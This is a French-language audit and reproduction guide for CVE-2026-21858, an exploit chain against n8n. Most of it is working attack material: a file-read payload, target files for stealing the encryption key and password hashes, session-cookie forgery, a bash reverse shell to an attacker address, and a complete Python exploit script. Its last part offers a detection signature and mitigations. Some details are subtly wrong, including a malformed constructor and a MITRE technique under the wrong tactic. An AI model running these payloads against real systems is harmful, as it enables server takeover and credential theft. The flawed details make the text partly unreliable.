
Audit technique et reproduction de CVE-2026-21858, une chaîne RCE sur n8n exploitant une confusion de Content-Type pour la lecture arbitraire de fichiers, la falsification de session et l'exécution de commandes.
= doi.org/10.5281/zenodo.18278825
= orcid.org/0009-0007-7728-256X
[ANALYSE_DE_RECONSTRUCTION] CVE-2026-21858 : Ni8mare - Chaîne d'exploitation complète RCE n8n
Cet audit technique est basé sur les conclusions de Dor Attias de Cyera Research Labs (9 novembre 2025) et comprend des étapes de reproduction prêtes à l'emploi pour les environnements de laboratoire REmnux/Kali Linux.
Informations clés : Cible : versions de n8n >=1.65.0 à <1.121.0.
Vecteur d'attaque : Réseau (HTTP/HTTPS).
Complexité : Faible.
Impact : Total (Confidentialité, Intégrité et Disponibilité).
Score EPSS : 0,97 (probabilité d'exploitation très élevée).
Flux normal : une requête multipart/form-data est traitée par parseFormData() (utilisant le parseur Formidable), qui remplit correctement l'objet req.body.files.
Condition vulnérable : si un attaquant soumet une requête avec Content-Type: application/json, le middleware invoque parseBody(). Le JSON soumis est ensuite analysé directement dans req.body, ce qui écrase de manière fatale la propriété req.body.files sans validation supplémentaire.
Exploitation : la fonction formWebhook -> prepareFormReturnItem() appelle aveuglément copyBinaryFile(req.body.files[0].filepath), en faisant confiance au chemin de fichier fourni dans le JSON, copiant ainsi des fichiers locaux arbitraires dans le stockage de workflow accessible.
Prérequis : Docker et Docker Compose.
Python 3 avec les bibliothèques requests, pyjwt et cryptography.
Netcat (nc) ou Burp Suite pour la capture du shell.
Étapes de déploiement : Exécuter l'instance vulnérable :
Bash
docker run -d
--name ni8mare-vuln
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.65.0
Initialisation de l'administrateur : accédez à http://localhost:5678, créez un compte administrateur (par exemple, [email protected] / Password123!).
Configuration du workflow : créez un nouveau workflow avec un nœud « Form Trigger » qui inclut un champ « File Upload ». Activez le workflow et notez l'« URL de test ».
Charge utile de la requête HTTP :
HTTP
POST /webhook-test/{workflow-id}/form-endpoint HTTP/1.1 Host: target:5678 Content-Type: application/json User-Agent: Mozilla/5.0
[{"filepath":"/etc/passwd","mimetype":"text/plain","filename":"fake.txt"}] Cibles stratégiques :
/home/node/.n8n/config : pour voler la N8N_ENCRYPTION_KEY.
/home/node/.n8n/database.sqlite : pour extraire les hachages des identifiants utilisateur.
Phase 2 : contournement de l'authentification (falsification de session) Une fois la clé de chiffrement et les données utilisateur obtenues, le cookie n8n-auth peut être falsifié.
Logique de falsification de session :
Charge utile : {"userId":1, "hash": sha256(email + password).slice(0,10)}.
Signature : signée à l'aide de la N8N_ENCRYPTION_KEY avec l'algorithme HS256.
Résultat : le cookie généré permet un accès administratif complet sans passer par le processus de connexion normal.
Phase 3 : exécution de code à distance (RCE) En tant qu'administrateur (via le cookie falsifié), nous pouvons automatiser la création d'un nouveau workflow contenant un nœud « Execute Command ».
Charge utile de commande : bash -c "bash -i >& /dev/tcp/{attacker_ip}/4444 0>&1"
Python
#!/usr/bin/env python3
import requests, json, hashlib, jwt, time
class Ni8mareExploit: def init(self, target, webhook_id): self.target = target.rstrip('/') self.webhook_url = f"{self.target}/webhook-test/{webhook_id}/form-endpoint" self.session = requests.Session()
def read_file(self, path, name):
"""Phase 1: Arbitrary File Read via Content-Type Confusion"""
print(f"[*] Attempting to read {path}...")
payload = [{"filepath": path, "mimetype": "text/plain", "filename": name}]
headers = {'Content-Type': 'application/json'}
r = self.session.post(self.webhook_url, json=payload, headers=headers)
return r.status_code == 200
def forge_session(self, email, password, key):
"""Phase 2: Cookie Forgery"""
hash_src = email + password
h = hashlib.sha256(hash_src.encode()).hexdigest()[:10]
payload = {'userId': 1, 'hash': h}
cookie = jwt.encode(payload, key, algorithm='HS256')
self.session.cookies.set('n8n-auth', cookie)
print(f"[+] Forged Cookie: n8n-auth={cookie}")
def trigger_rce(self, lhost, lport):
"""Phase 3: RCE via Workflow Automation"""
cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
wf_payload = {
"name": "Ni8mare RCE",
"nodes": [{"parameters": {"command": cmd}, "type": "n8n-nodes-base.executeCommand"}],
"active": True
}
r = self.session.post(f"{self.target}/rest/workflows", json=wf_payload)
print("[!] RCE Workflow Deployed. Check your listener!")
Indicateurs réseau (IDS/IPS) : Signature Suricata : alert http $EXTERNAL_NET any -> $HOME_NET 5678 (msg:"Ni8mare Exploit Attempt"; content:"application/json"; content:"filepath"; sid:1000001;)
Anomalie : requêtes POST avec Content-Type: application/json envoyées au point de terminaison /webhook/*/form-endpoint.
Criminalistique basée sur l'hôte : Système de fichiers : recherchez les fichiers texte suspects dans le répertoire ~/.n8n/files/ contenant des données système (par exemple, /etc/passwd).
Journaux : auditez les journaux n8n pour détecter l'activité de la fonction prepareFormReturnItem sans données multipart associées.
Docker Inspect : vérifiez que la version de l'image est inférieure à 1.121.0.
Solution de contournement : si le correctif n'est pas possible, restreignez l'accès au point de terminaison /webhook à l'aide d'un pare-feu d'application Web (WAF) pour bloquer les requêtes JSON suspectes.
Segmentation du réseau : isolez les instances n8n des réseaux internes sensibles pour empêcher tout mouvement latéral en cas d'intrusion.
Exécution : T1059 (Interpréteur de commandes et de scripts)
Persistance : T1098 (Manipulation de compte via falsification de session)
Exfiltration : T1083 (Découverte de fichiers et de répertoires)
AVERTISSEMENT : cette analyse est fournie exclusivement à des fins éducatives, d'audit de sécurité et de cyberdéfense professionnelle sous les instructions du Maître SASTRA_ADI_WIGUNA. Toute utilisation abusive de ces informations à des fins illégales relève de l'entière responsabilité de l'opérateur. Le correctif de production est obligatoire.